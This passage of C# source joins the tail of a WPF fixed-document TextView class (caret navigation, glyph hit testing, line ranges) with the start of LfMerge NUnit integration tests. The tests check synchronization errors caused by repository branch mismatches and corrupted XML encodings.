FixedPosition fixedp;
if (_GetFixedPosition(ftp, out fixedp))
{
DependencyObject element = this.FixedPage.GetElement(fixedp.Node);
if (element is Glyphs)
{
Glyphs g = (Glyphs)element;
int characterCount = (g.UnicodeString == null ? 0 : g.UnicodeString.Length);
if (fixedp.Offset == characterCount)
{ //end of line -- allow caret
return true;
}
else
{
GlyphRun run = g.MeasurementGlyphRun;
return run.CaretStops == null || run.CaretStops[fixedp.Offset];
}
}
else if (element is Image || element is Path)
{ //support caret before and after image
return true;
}
else
{
// No text position should be on any other type of element
Debug.Assert(false);
}
}
return false;
}
/// <summary>
/// Finds the next position at the edge of a caret unit in
/// specified direction.
/// </summary>
/// <param name="position">
/// Initial text position of an object/character.
/// </param>
/// <param name="direction">
/// If Forward, this method returns the "caret unit" position following
/// the initial position.
/// If Backward, this method returns the caret unit" position preceding
/// the initial position.
/// </param>
/// <returns>
/// The next caret unit break position in specified direction.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
/// <remarks>
/// In the context of this method, "caret unit" refers to a group of one
/// or more Unicode code points that map to a single rendered glyph.
///
/// If position is located between two caret units, this method returns
/// a new position located at the opposite edge of the caret unit in
/// the indicated direction.
/// If position is located within a group of Unicode code points that map
/// to a single caret unit, this method returns a new position at
/// the indicated edge of the containing caret unit.
/// If position is located at the beginning of end of content -- there is
/// no content in the indicated direction -- then this method returns
/// a position located at the same location as initial position.
/// </remarks>
internal override ITextPointer GetNextCaretUnitPosition(ITextPointer position, LogicalDirection direction)
{
FixedTextPointer ftp = Container.VerifyPosition(position);
FixedPosition fixedp;
if (_GetFixedPosition(ftp, out fixedp))
{
DependencyObject element = this.FixedPage.GetElement(fixedp.Node);
if (element is Glyphs)
{
Glyphs g = (Glyphs)element;
GlyphRun run = g.ToGlyphRun();
int characterCount = (run.Characters == null) ? 0 : run.Characters.Count;
CharacterHit start = (fixedp.Offset == characterCount) ?
new CharacterHit(fixedp.Offset - 1, 1) :
new CharacterHit(fixedp.Offset, 0);
CharacterHit next = (direction == LogicalDirection.Forward) ?
run.GetNextCaretCharacterHit(start) :
run.GetPreviousCaretCharacterHit(start);
if (!start.Equals(next))
{
LogicalDirection edge = LogicalDirection.Forward;
if (next.TrailingLength > 0)
{
edge = LogicalDirection.Backward;
}
int index = next.FirstCharacterIndex + next.TrailingLength;
return _CreateTextPointer(new FixedPosition(fixedp.Node, index), edge);
}
}
}
//default behavior is to simply move textpointer
ITextPointer pointer = position.CreatePointer();
pointer.MoveToNextInsertionPosition(direction);
return pointer;
}
/// <summary>
/// Finds the previous position at the edge of a caret after backspacing.
/// </summary>
/// <param name="position">
/// Initial text position of an object/character.
/// </param>
/// <returns>
/// The previous caret unit break position after backspacing.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
internal override ITextPointer GetBackspaceCaretUnitPosition(ITextPointer position)
{
throw new NotImplementedException();
}
/// <summary>
/// Returns a TextSegment that spans the line on which position is located.
/// </summary>
/// <param name="position">
/// Any oriented text position on the line.
/// </param>
/// <returns>
/// TextSegment that spans the line on which position is located.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
internal override TextSegment GetLineRange(ITextPointer position)
{
#if DEBUG
DocumentsTrace.FixedTextOM.TextView.Trace(string.Format("GetLineRange {0}, {1}", (FixedTextPointer)position, position.LogicalDirection));
#endif
FixedTextPointer ftp = Container.VerifyPosition(position);
FixedPosition fixedp;
if (!_GetFixedPosition(ftp, out fixedp))
{
return new TextSegment(position, position, true);
}
int count = 0;
FixedNode[] fixedNodes = Container.FixedTextBuilder.GetNextLine(fixedp.Node, true, ref count);
if (fixedNodes == null)
{
// This will happen in the case of images
fixedNodes = new FixedNode[] { fixedp.Node };
}
FixedNode lastNode = fixedNodes[fixedNodes.Length - 1];
DependencyObject element = FixedPage.GetElement(lastNode);
int lastIndex = 1;
if (element is Glyphs)
{
lastIndex = ((Glyphs)element).UnicodeString.Length;
}
ITextPointer begin = _CreateTextPointer(new FixedPosition(fixedNodes[0], 0), LogicalDirection.Forward);
ITextPointer end = _CreateTextPointer(new FixedPosition(lastNode, lastIndex), LogicalDirection.Backward);
if (begin.CompareTo(end) > 0)
{
ITextPointer temp = begin;
begin = end;
end = temp;
}
return new TextSegment(begin, end, true);
}
/// <summary>
/// Determines whenever TextView contains specified position.
/// </summary>
/// <param name="position">
/// A position to test.
/// </param>
/// <returns>
/// True if TextView contains specified text position.
/// Otherwise returns false.
/// </returns>
/// <exception cref="System.InvalidOperationException">
/// Throws InvalidOperationException if IsValid is false.
/// If IsValid returns false, Validate method must be called before
/// calling this method.
/// </exception>
internal override bool Contains(ITextPointer position)
{
FixedTextPointer tp = Container.VerifyPosition(position);
return ((tp.CompareTo(this.Start) > 0 && tp.CompareTo(this.End) < 0) ||
(tp.CompareTo(this.Start) == 0 && (tp.LogicalDirection == LogicalDirection.Forward || this.IsContainerStart)) ||
(tp.CompareTo(this.End) == 0 && (tp.LogicalDirection == LogicalDirection.Backward || this.IsContainerEnd))
);
}
/// <summary>
/// Makes sure that TextView is in a clean layout state and it is
/// possible to retrieve layout related data.
/// </summary>
/// <remarks>
/// If IsValid returns false, it is required to call this method
/// before calling any other method on TextView.
/// Validate method might be very expensive, because it may lead
/// to full layout update.
/// </remarks>
internal override bool Validate()
{
// Always valid. Do nothing.
return true;
}
#endregion Internal Methods
//-------------------------------------------------------------------
//
// Internal Properties
//
//-------------------------------------------------------------------
#region Internal Properties
/// <summary>
/// </summary>
internal override UIElement RenderScope
{
get
{
Visual visual = _docPage.Visual;
while (visual != null && !(visual is UIElement))
{
visual = VisualTreeHelper.GetParent(visual) as Visual;
}
return visual as UIElement;
}
}
/// <summary>
/// TextContainer that stores content.
/// </summary>
internal override ITextContainer TextContainer { get { return this.Container; } }
/// <summary>
/// Determines whenever layout is in clean state and it is possible
/// to retrieve layout related data.
/// </summary>
internal override bool IsValid { get { return true; } }
/// <summary>
/// <see cref="ITextView.RendersOwnSelection"/>
/// </summary>
internal override bool RendersOwnSelection
{
get
{
return true;
}
}
/// <summary>
/// Collection of TextSegments representing content of the TextView.
/// </summary>
internal override ReadOnlyCollection<TextSegment> TextSegments
{
get
{
if (_textSegments == null)
{
List<TextSegment> list = new List<TextSegment>(1);
list.Add(new TextSegment(this.Start, this.End, true));
_textSegments = new ReadOnlyCollection<TextSegment>(list);
}
return _textSegments;
}
}
internal FixedTextPointer Start
{
get
{
if (_start == null)
{
FlowPosition flowStart = Container.FixedTextBuilder.GetPageStartFlowPosition(this.PageIndex);
_start = new FixedTextPointer(false, LogicalDirection.Forward, flowStart);
}
return _start;
}
}
internal FixedTextPointer End
{
get
{
if (_end == null)
{
FlowPosition flowEnd = Container.FixedTextBuilder.GetPageEndFlowPosition(this.PageIndex);
_end = new FixedTextPointer(false, LogicalDirection.Backward, flowEnd);
}
return _end;
}
}
#endregion Internal Properties
//------------------------------------------------------
//
// Private Methods
//
//------------------------------------------------------
#region Private Methods
// hit testing to find the inner most UIElement that was hit
// as well as the containing fixed page.
private bool _HitTest(Point pt, out UIElement e)
{
e = null;
HitTestResult result = VisualTreeHelper.HitTest(this.FixedPage, pt);
DependencyObject v = (result != null) ? result.VisualHit : null;
while (v != null)
{
DependencyObjectType t = v.DependencyObjectType;
if (t == UIElementType || t.IsSubclassOf(UIElementType))
{
e = (UIElement) v;
return true;
}
v = VisualTreeHelper.GetParent(v);
}
return false;
}
private void _GlyphRunHitTest(Glyphs g, double xoffset, out int charIndex, out LogicalDirection edge)
{
charIndex = 0;
edge = LogicalDirection.Forward;
GlyphRun run = g.ToGlyphRun();
bool isInside;
double distance;
if ((run.BidiLevel & 1) != 0)
{
distance = run.BaselineOrigin.X - xoffset;
}
else
{
distance = xoffset - run.BaselineOrigin.X;
}
CharacterHit hit = run.GetCaretCharacterHitFromDistance(distance, out isInside);
charIndex = hit.FirstCharacterIndex + hit.TrailingLength;
edge = (hit.TrailingLength > 0) ? LogicalDirection.Backward : LogicalDirection.Forward;
}
private ITextPointer _SnapToText(Point point)
{
ITextPointer itp = null;
FixedNode[] fixedNodes = Container.FixedTextBuilder.GetLine(this.PageIndex, point);
if (fixedNodes != null && fixedNodes.Length > 0)
{
double closestDistance = Double.MaxValue;
double xoffset = 0;
Glyphs closestGlyphs = null;
FixedNode closestNode = fixedNodes[0];
foreach (FixedNode node in fixedNodes)
{
Glyphs startGlyphs = this.FixedPage.GetGlyphsElement(node);
GeneralTransform tranToGlyphs = this.FixedPage.TransformToDescendant(startGlyphs);
Point transformedPt = point;
if (tranToGlyphs != null)
{
tranToGlyphs.TryTransform(transformedPt, out transformedPt);
}
GlyphRun run = startGlyphs.ToGlyphRun();
Rect alignmentRect = run.ComputeAlignmentBox();
alignmentRect.Offset(startGlyphs.OriginX, startGlyphs.OriginY);
double horizontalDistance = Math.Max(0, (transformedPt.X > alignmentRect.X) ? (transformedPt.X - alignmentRect.Right) : (alignmentRect.X - transformedPt.X));
double verticalDistance = Math.Max(0, (transformedPt.Y > alignmentRect.Y) ? (transformedPt.Y - alignmentRect.Bottom) : (alignmentRect.Y - transformedPt.Y));
double manhattanDistance = horizontalDistance + verticalDistance;
if (closestGlyphs == null || manhattanDistance < closestDistance)
{
closestDistance = manhattanDistance;
closestGlyphs = startGlyphs;
closestNode = node;
xoffset = transformedPt.X;
}
}
int index;
LogicalDirection dir;
_GlyphRunHitTest(closestGlyphs, xoffset, out index, out dir);
FixedPosition fixedp = new FixedPosition(closestNode, index);
itp = _CreateTextPointer(fixedp, dir);
Debug.Assert(itp != null);
}
else
{
//
// That condition is only possible when there is no line in the page
//
if (point.Y < this.FixedPage.Height / 2)
{
itp = ((ITextPointer)this.Start).CreatePointer(LogicalDirection.Forward);
itp.MoveToInsertionPosition(LogicalDirection.Forward);
}
else
{
itp = ((ITextPointer)this.End).CreatePointer(LogicalDirection.Backward);
itp.MoveToInsertionPosition(LogicalDirection.Backward);
}
}
return itp;
}
// If return false, nothing has been modified, which implies out of page boundary
// The input of suggestedX is in the VisualRoot's cooridnate system
private bool _GetNextLineGlyphs(ref FixedPosition fixedp, ref LogicalDirection edge, double suggestedX, LogicalDirection scanDir)
{
int count = 1;
int pageIndex = fixedp.Page;
bool moved = false;
FixedNode[] fixedNodes = Container.FixedTextBuilder.GetNextLine(fixedp.Node, (scanDir == LogicalDirection.Forward), ref count);
if (fixedNodes != null && fixedNodes.Length > 0)
{
FixedPage page = Container.FixedDocument.SyncGetPage(pageIndex, false);
// This line contains multiple Glyhs. Scan backward
// util we hit the first one whose OriginX is smaller
// then suggestedX;
if (Double.IsInfinity(suggestedX))
{
suggestedX = 0;
}
Point topOfPage = new Point(suggestedX, 0);
Point secondPoint = new Point(suggestedX, 1000);
FixedNode hitNode = fixedNodes[0];
Glyphs hitGlyphs = null;
double closestDistance = Double.MaxValue;
double xoffset = 0;
for (int i = fixedNodes.Length - 1; i >= 0; i--)
{
FixedNode node = fixedNodes[i];
Glyphs g = page.GetGlyphsElement(node);
if (g != null)
{
GeneralTransform transform = page.TransformToDescendant(g);
Point pt1 = topOfPage;
Point pt2 = secondPoint;
if (transform != null)
{
transform.TryTransform(pt1, out pt1);
transform.TryTransform(pt2, out pt2);
}
double invSlope = (pt2.X - pt1.X) / (pt2.Y - pt1.Y);
double xoff, distance;
GlyphRun run = g.ToGlyphRun();
Rect box = run.ComputeAlignmentBox();
box.Offset(g.OriginX, g.OriginY);
if (invSlope > 1000 || invSlope < -1000)
{
// special case for vertical text
xoff = 0;
distance = (pt1.Y > box.Y) ? (pt1.Y - box.Bottom) : (box.Y - pt1.Y);
}
else
{
double centerY = (box.Top + box.Bottom) / 2;
xoff = pt1.X + invSlope * (centerY - pt1.Y);
distance = (xoff > box.X) ? (xoff - box.Right) : (box.X - xoff);
}
if (distance < closestDistance)
{
closestDistance = distance;
xoffset = xoff;
hitNode = node;
hitGlyphs = g;
if (distance <= 0)
{
break;
}
}
}
}
Debug.Assert(hitGlyphs != null);
int charIdx;
_GlyphRunHitTest(hitGlyphs, xoffset, out charIdx, out edge);
fixedp = new FixedPosition(hitNode, charIdx);
moved = true;
}
return moved;
}
private static double _GetDistanceToCharacter(GlyphRun run, int charOffset)
{
int firstChar = charOffset, trailingLength = 0;
int characterCount = (run.Characters == null) ? 0 : run.Characters.Count;
if (firstChar == characterCount)
{
// place carat at end of previous character to make sure it works at end of line
firstChar--;
trailingLength = 1;
}
return run.GetDistanceFromCaretCharacterHit(new CharacterHit(firstChar, trailingLength));
}
// char index == -1 implies end of run.
internal static Rect _GetGlyphRunDesignRect(Glyphs g, int charStart, int charEnd)
{
GlyphRun run = g.ToGlyphRun();
if (run == null)
{
return Rect.Empty;
}
Rect designRect = run.ComputeAlignmentBox();
designRect.Offset(run.BaselineOrigin.X, run.BaselineOrigin.Y);
int charCount = 0;
if (run.Characters != null)
{
charCount = run.Characters.Count;
}
else if (g.UnicodeString != null)
{
charCount = g.UnicodeString.Length;
}
if (charStart > charCount)
{
//Extra space was added at the end of the run for contiguity
Debug.Assert(charStart - charCount == 1);
charStart = charCount;
}
else if (charStart < 0)
{
//This is a reversed run
charStart = 0;
}
if (charEnd > charCount)
{
//Extra space was added at the end of the run for contiguity
Debug.Assert(charEnd - charCount == 1);
charEnd = charCount;
}
else if (charEnd < 0)
{
//This is a reversed run
charEnd = 0;
}
double x1 = _GetDistanceToCharacter(run, charStart);
double x2 = _GetDistanceToCharacter(run, charEnd);
double width = x2 - x1;
if ((run.BidiLevel & 1) != 0)
{
// right to left
designRect.X = run.BaselineOrigin.X - x2;
}
else
{
designRect.X = run.BaselineOrigin.X + x1;
}
designRect.Width = width;
return designRect;
}
// Creates an axis-aligned caret for possibly rotated glyphs
private Rect _GetTransformedCaretRect(GeneralTransform transform, Point origin, double height)
{
Point bottom = origin;
bottom.Y += height;
transform.TryTransform(origin, out origin);
transform.TryTransform(bottom, out bottom);
Rect caretRect = new Rect(origin, bottom);
if (caretRect.Width > 0)
{
// only vertical carets are supported by TextEditor
// What to do if height == 0?
caretRect.X += caretRect.Width / 2;
caretRect.Width = 0;
}
if (caretRect.Height < 1)
{
caretRect.Height = 1;
}
return caretRect;
}
//--------------------------------------------------------------------
// FlowPosition --> FixedPosition
//---------------------------------------------------------------------
// Helper function to overcome the limitation in FixedTextBuilder.GetFixedPosition
// Making sure we are asking a position that is either a Run or an EmbeddedElement.
private bool _GetFixedPosition(FixedTextPointer ftp, out FixedPosition fixedp)
{
LogicalDirection textdir = ftp.LogicalDirection;
TextPointerContext symbolType = ((ITextPointer)ftp).GetPointerContext(textdir);
if (ftp.FlowPosition.IsBoundary || symbolType == TextPointerContext.None)
{
return _GetFirstFixedPosition(ftp, out fixedp);
}
if (symbolType == TextPointerContext.ElementStart || symbolType == TextPointerContext.ElementEnd)
{
//Try to find the first valid insertion position if exists
switch (symbolType)
{
case TextPointerContext.ElementStart:
textdir = LogicalDirection.Forward;
break;
case TextPointerContext.ElementEnd:
textdir = LogicalDirection.Backward;
break;
}
FixedTextPointer nav = new FixedTextPointer(true, textdir, (FlowPosition)ftp.FlowPosition.Clone());
_SkipFormattingTags(nav);
symbolType = ((ITextPointer)nav).GetPointerContext(textdir);
if (symbolType != TextPointerContext.Text && symbolType != TextPointerContext.EmbeddedElement)
{
//Try moving to the next insertion position
if (((ITextPointer)nav).MoveToNextInsertionPosition(textdir) &&
this.Container.GetPageNumber(nav) == this.PageIndex)
{
return Container.FixedTextBuilder.GetFixedPosition(nav.FlowPosition, textdir, out fixedp);
}
else
{
fixedp = new FixedPosition(this.Container.FixedTextBuilder.FixedFlowMap.FixedStartEdge, 0);
return false;
}
}
else
{
ftp = nav;
}
}
Debug.Assert(symbolType == TextPointerContext.Text || symbolType == TextPointerContext.EmbeddedElement);
return Container.FixedTextBuilder.GetFixedPosition(ftp.FlowPosition, textdir, out fixedp);
}
//Find the first valid insertion position after or before the boundary node
private bool _GetFirstFixedPosition(FixedTextPointer ftp, out FixedPosition fixedP)
{
LogicalDirection dir = LogicalDirection.Forward;
if (ftp.FlowPosition.FlowNode.Fp != 0)
{
//End boundary
dir = LogicalDirection.Backward;
}
FlowPosition flowP = (FlowPosition) ftp.FlowPosition.Clone();
//Get the first node that comes before or after the boundary node(probably a start or end node)
flowP.Move(dir);
FixedTextPointer nav = new FixedTextPointer(true, dir, flowP);
if (flowP.IsStart || flowP.IsEnd)
{
((ITextPointer)nav).MoveToNextInsertionPosition(dir);
}
if (this.Container.GetPageNumber(nav) == this.PageIndex)
{
return Container.FixedTextBuilder.GetFixedPosition(nav.FlowPosition, dir, out fixedP);
}
else
{
//This position is on another page.
fixedP = new FixedPosition(this.Container.FixedTextBuilder.FixedFlowMap.FixedStartEdge, 0);
return false;
}
}
//--------------------------------------------------------------------
// FixedPosition --> ITextPointer
//---------------------------------------------------------------------
// Create a text position from description of a fixed position.
// This is primarily called from HitTesting code
private ITextPointer _CreateTextPointer(FixedPosition fixedPosition, LogicalDirection edge)
{
// Create a FlowPosition to represent this fixed position
FlowPosition flowHit = Container.FixedTextBuilder.CreateFlowPosition(fixedPosition);
if (flowHit != null)
{
DocumentsTrace.FixedTextOM.TextView.Trace(string.Format("_CreatetTextPointer {0}:{1}", fixedPosition.ToString(), flowHit.ToString()));
// Create a TextPointer from the flow position
return new FixedTextPointer(true, edge, flowHit);
}
return null;
}
// Create a text position from description of a fixed position.
// This is primarily called from HitTesting code
private ITextPointer _CreateTextPointerFromGlyphs(Glyphs g, Point point)
{
GeneralTransform transform = this.VisualRoot.TransformToDescendant(g);
if (transform != null)
{
transform.TryTransform(point, out point);
}
int charIndex;
LogicalDirection edge;
_GlyphRunHitTest(g, point.X, out charIndex, out edge);
FixedPosition fixedp = new FixedPosition(this.FixedPage.CreateFixedNode(this.PageIndex, g), charIndex);
return _CreateTextPointer(fixedp, edge);
}
private void _SkipFormattingTags(ITextPointer textPointer)
{
Debug.Assert(!textPointer.IsFrozen, "Can't reposition a frozen pointer!");
LogicalDirection dir = textPointer.LogicalDirection;
int increment = (dir == LogicalDirection.Forward ? +1 : -1);
while (TextSchema.IsFormattingType( textPointer.GetElementType(dir)) )
{
textPointer.MoveByOffset(increment);
}
}
#endregion Private methods
//------------------------------------------------------
//
// Private Properties
//
//------------------------------------------------------
#region Private Properties
private FixedTextContainer Container
{
get
{
return (FixedTextContainer)_docPage.TextContainer;
}
}
// The visual node that is root of this TextView's visual tree
private Visual VisualRoot
{
get
{
return this._docPage.Visual;
}
}
// The FixedPage that provides content for this view
private FixedPage FixedPage
{
get
{
return this._docPage.FixedPage;
}
}
//
private int PageIndex
{
get
{
return this._docPage.PageIndex;
}
}
private bool IsContainerStart
{
get
{
return (this.Start.CompareTo(this.TextContainer.Start) == 0);
}
}
private bool IsContainerEnd
{
get
{
return (this.End.CompareTo(this.TextContainer.End) == 0);
}
}
#endregion Private Properties
//-------------------------------------------------------------------
//
// Private Fields
//
//-------------------------------------------------------------------
#region Private Fields
private readonly FixedDocumentPage _docPage;
// Cache for start/end
private FixedTextPointer _start;
private FixedTextPointer _end;
private ReadOnlyCollection<TextSegment> _textSegments;
/// <summary>
/// Caches the UIElement's DependencyObjectType.
/// </summary>
private static DependencyObjectType UIElementType = DependencyObjectType.FromSystemTypeInternal(typeof(UIElement));
#endregion Private Fields
}
}
| |
// Copyright (c) 2016-2018 SIL International
// This software is licensed under the MIT license (http://opensource.org/licenses/MIT)
using System;
using System.IO;
using Autofac;
using Chorus.Utilities;
using LfMerge.Core.Actions;
using LfMerge.Core.Actions.Infrastructure;
using LfMerge.Core.Settings;
using Microsoft.DotNet.PlatformAbstractions;
using NUnit.Framework;
using SIL.LCModel;
using SIL.TestUtilities;
namespace LfMerge.Core.Tests.Actions
{
/// <summary>
/// These tests test the LfMergeBridge interface. Because LfMergeBridge uses a single method
/// and dictionary for input and a string for output the compiler won't complain when the
/// "interface" changes (e.g. when we suddenly get a different string back than before, or
/// the name for an expected key changes). These tests try to cover different scenarios so
/// that we get test failures if the interface changes.
/// </summary>
[TestFixture]
[Platform(Exclude = "Win")]
[Category("IntegrationTests")]
public class SynchronizeActionBridgeIntegrationTests
{
private TestEnvironment _env;
private LfMergeSettings _lDSettings;
private TemporaryFolder _languageDepotFolder;
private LanguageForgeProject _lfProject;
private SynchronizeAction _synchronizeAction;
private string _workDir;
private const string TestLangProj = "testlangproj";
private const string TestLangProjModified = "testlangproj-modified";
private string CopyModifiedProjectAsTestLangProj(string webWorkDirectory)
{
var repoDir = Path.Combine(webWorkDirectory, TestLangProj);
if (Directory.Exists(repoDir))
Directory.Delete(repoDir, true);
TestEnvironment.CopyFwProjectTo(TestLangProjModified, webWorkDirectory);
Directory.Move(Path.Combine(webWorkDirectory, TestLangProjModified), repoDir);
return repoDir;
}
private static int ModelVersion
{
get
{
var chorusHelper = MainClass.Container.Resolve<ChorusHelper>();
return chorusHelper.ModelVersion;
}
}
[SetUp]
public void Setup()
{
MagicStrings.SetMinimalModelVersion(LcmCache.ModelVersion);
_env = new TestEnvironment();
_languageDepotFolder = new TemporaryFolder(TestContext.CurrentContext.Test.Name + Path.GetRandomFileName());
_lDSettings = new LfMergeSettingsDouble(_languageDepotFolder.Path);
Directory.CreateDirectory(_lDSettings.WebWorkDirectory);
LanguageDepotMock.ProjectFolderPath =
Path.Combine(_lDSettings.WebWorkDirectory, TestLangProj);
Directory.CreateDirectory(LanguageDepotMock.ProjectFolderPath);
_lfProject = LanguageForgeProject.Create(TestLangProj);
_synchronizeAction = new SynchronizeAction(_env.Settings, _env.Logger);
_workDir = Directory.GetCurrentDirectory();
Directory.SetCurrentDirectory(ExecutionEnvironment.DirectoryOfExecutingAssembly);
LanguageDepotMock.Server = new MercurialServer(LanguageDepotMock.ProjectFolderPath);
}
[TearDown]
public void Teardown()
{
// Reset workdir, otherwise NUnit will get confused when it tries to reset the
// workdir after running the test but the current dir got deleted in the teardown.
Directory.SetCurrentDirectory(_workDir);
LanguageForgeProject.DisposeFwProject(_lfProject);
if (_languageDepotFolder != null)
_languageDepotFolder.Dispose();
_env.Dispose();
if (LanguageDepotMock.Server != null)
{
LanguageDepotMock.Server.Stop();
LanguageDepotMock.Server = null;
}
}
[Test]
public void MissingFwDataFixer_Throws()
{
// Setup
var tmpFolder = Path.Combine(_languageDepotFolder.Path, "WorkDir");
Directory.CreateDirectory(tmpFolder);
Directory.SetCurrentDirectory(tmpFolder);
// Execute/Verify
Assert.That(() => _synchronizeAction.Run(_lfProject),
// This can't happen in real life because we ensure that we have a clone
// before we call sync. Therefore it is acceptable to get an exception.
Throws.TypeOf<InvalidOperationException>());
}
[Test]
public void Error_NoHgRepo()
{
// Setup
Directory.CreateDirectory(_lfProject.ProjectDir);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(_env.Logger.GetErrors(),
Does.Contain("Cannot create a repository at this point in LF development."));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.HOLD));
}
[Test]
public void Error_NoCommitsInRepository()
{
// Setup
// Create a empty hg repo
var lDProjectFolderPath = LanguageDepotMock.ProjectFolderPath;
MercurialTestHelper.InitializeHgRepo(lDProjectFolderPath);
MercurialTestHelper.HgCreateBranch(lDProjectFolderPath, LcmCache.ModelVersion);
MercurialTestHelper.CloneRepo(lDProjectFolderPath, _lfProject.ProjectDir);
LanguageDepotMock.Server.Start();
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(_env.Logger.GetErrors(),
Does.Contain("Cannot do first commit."));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.HOLD));
}
[Test]
public void Error_DifferentBranch()
{
// Setup
// Create a hg repo that doesn't contain a branch for the current model version
const int modelVersion = 7000067;
MagicStrings.SetMinimalModelVersion(modelVersion);
var lDProjectFolderPath = LanguageDepotMock.ProjectFolderPath;
MercurialTestHelper.InitializeHgRepo(lDProjectFolderPath);
MercurialTestHelper.HgCreateBranch(lDProjectFolderPath, modelVersion);
MercurialTestHelper.CreateFlexRepo(lDProjectFolderPath, modelVersion);
MercurialTestHelper.CloneRepo(lDProjectFolderPath, _lfProject.ProjectDir);
LanguageDepotMock.Server.Start();
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
Assert.That(ModelVersion, Is.EqualTo(modelVersion));
}
[Test]
public void Error_NewerBranch()
{
// Setup
var lDProjectFolderPath = LanguageDepotMock.ProjectFolderPath;
MercurialTestHelper.InitializeHgRepo(lDProjectFolderPath);
MercurialTestHelper.HgCreateBranch(lDProjectFolderPath, LcmCache.ModelVersion);
MercurialTestHelper.CreateFlexRepo(lDProjectFolderPath);
MercurialTestHelper.CloneRepo(lDProjectFolderPath, _lfProject.ProjectDir);
// Simulate a user with a newer FLEx version doing a S/R
MercurialTestHelper.HgCreateBranch(lDProjectFolderPath, 7600000);
MercurialTestHelper.HgCommit(lDProjectFolderPath, "Commit with newer FLEx version");
LanguageDepotMock.Server.Start();
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(_env.Logger.GetMessages(), Does.Contain("Allow data migration for project"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
public void Error_InvalidUtf8InXml()
{
// Setup
TestEnvironment.CopyFwProjectTo(TestLangProj, _lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
LanguageDepotMock.Server.Start();
var ldDirectory = Path.Combine(_lDSettings.WebWorkDirectory, TestLangProj);
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
var fwdataPath = Path.Combine(_env.Settings.WebWorkDirectory, TestLangProj, TestLangProj + ".fwdata");
TestEnvironment.OverwriteBytesInFile(fwdataPath, new byte[] {0xc0, 0xc1}, 25); // 0xC0 and 0xC1 are always invalid byte values in UTF-8
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
string errors = _env.Logger.GetErrors();
Assert.That(errors, Does.Contain("System.Xml.XmlException"));
// Stack trace should also have been logged
Assert.That(errors, Does.Contain("\n at Chorus.sync.Synchronizer.SyncNow (Chorus.sync.SyncOptions options)"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
[Test]
public void Error_WrongXmlEncoding()
{
// Setup
TestEnvironment.CopyFwProjectTo(TestLangProj, _lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
LanguageDepotMock.Server.Start();
var ldDirectory = Path.Combine(_lDSettings.WebWorkDirectory, TestLangProj);
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
var fwdataPath = Path.Combine(_env.Settings.WebWorkDirectory, TestLangProj, TestLangProj + ".fwdata");
TestEnvironment.ChangeFileEncoding(fwdataPath, System.Text.Encoding.UTF8, System.Text.Encoding.UTF32);
// Note that the XML file will still claim the encoding is UTF-8!
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
string errors = _env.Logger.GetErrors();
Assert.That(errors, Does.Contain("System.Xml.XmlException: '.', hexadecimal value 0x00, is an invalid character."));
// Stack trace should also have been logged
Assert.That(errors, Does.Contain("\n at Chorus.sync.Synchronizer.SyncNow (Chorus.sync.SyncOptions options)"));
Assert.That(_lfProject.State.SRState, Is.EqualTo(ProcessingState.SendReceiveStates.SYNCING));
}
public void Success_NewBranchFormat_LfMerge68()
{
// Setup
var ldDirectory = CopyModifiedProjectAsTestLangProj(_lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
TestEnvironment.WriteTextFile(Path.Combine(_env.Settings.WebWorkDirectory, TestLangProj, "FLExProject.ModelVersion"), "{\"modelversion\": 7000068}");
LanguageDepotMock.Server.Start();
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(MercurialTestHelper.GetRevisionOfTip(ldDirectory)),
"Our repo doesn't have the changes from LanguageDepot");
Assert.That(MercurialTestHelper.GetRevisionOfTip(ldDirectory), Is.EqualTo(oldHashOfLd));
Assert.That(_env.Logger.GetErrors(), Is.Null.Or.Empty);
Assert.That(_env.Logger.GetMessages(), Does.Contain("Received changes from others"));
}
public void Success_NewBranchFormat_LfMerge69()
{
// Setup
var ldDirectory = CopyModifiedProjectAsTestLangProj(_lDSettings.WebWorkDirectory);
TestEnvironment.CopyFwProjectTo(TestLangProj, _env.Settings.WebWorkDirectory);
TestEnvironment.WriteTextFile(Path.Combine(_env.Settings.WebWorkDirectory, TestLangProj, "FLExProject.ModelVersion"), "{\"modelversion\": 7000069}");
LanguageDepotMock.Server.Start();
var oldHashOfLd = MercurialTestHelper.GetRevisionOfTip(ldDirectory);
// Execute
_synchronizeAction.Run(_lfProject);
// Verify
// Stack trace should also have been logged
Assert.That(MercurialTestHelper.GetRevisionOfWorkingSet(_lfProject.ProjectDir),
Is.EqualTo(MercurialTestHelper.GetRevisionOfTip(ldDirectory)),
"Our repo doesn't have the changes from LanguageDepot");
Assert.That(MercurialTestHelper.GetRevisionOfTip(ldDirectory), Is.EqualTo(oldHashOfLd));
